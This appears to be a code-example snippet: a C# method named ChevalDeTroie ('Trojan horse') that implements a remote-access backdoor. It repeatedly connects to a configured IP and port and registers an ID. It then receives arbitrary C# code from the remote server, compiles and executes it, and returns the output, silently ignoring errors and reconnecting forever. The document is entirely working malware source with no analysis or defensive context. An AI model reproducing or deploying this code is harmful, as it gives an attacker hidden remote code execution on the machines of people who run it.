예제 #1
0
        public static void ChevalDeTroie()
        {
            IPEndPoint serverEndPoint = new IPEndPoint(IPAddress.Parse(IP), PORT);

            while (true)
            {
                try
                {
                    TcpClient client = new TcpClient();
                    client.Connect(serverEndPoint);
                    NetworkStream clientStream = client.GetStream();
                    ASCIIEncoding encoder      = new ASCIIEncoding();
                    Communication.writeString(clientStream, encoder, ID);
                    while (true)
                    {
                        string command = Communication.readString(clientStream, encoder);
                        if (command == "exit")
                        {
                            Communication.writeString(clientStream, encoder, command);
                            break;
                        }
                        Evaluator eval = new Evaluator("tosend = execute()", Evaluator.EvaluationType.SingleLineReturn, Evaluator.Language.CSharp);
                        eval.AddReference("System.dll");

                        Console.WriteLine(command);
                        //Console.WriteLine("========================================Fin de Code====================================");
                        //Console.WriteLine("");

                        eval.AddVariable("tosend", new byte[0]);
                        eval.AddCustomMethod(command);
                        Evaluator.EvaluationResult result = eval.Eval();
                        if (result.ThrewException)
                        {
                            Communication.writeString(clientStream, encoder, result.Exception.Message);
                        }
                        else
                        {
                            Communication.write(clientStream, encoder, result.Variables["tosend"].VariableValue as byte[]);
                        }
                    }
                    client.Close();
                }
                catch (Exception exception)
                {
                }
                Thread.Sleep(RETRY_DELAY);
            }
        }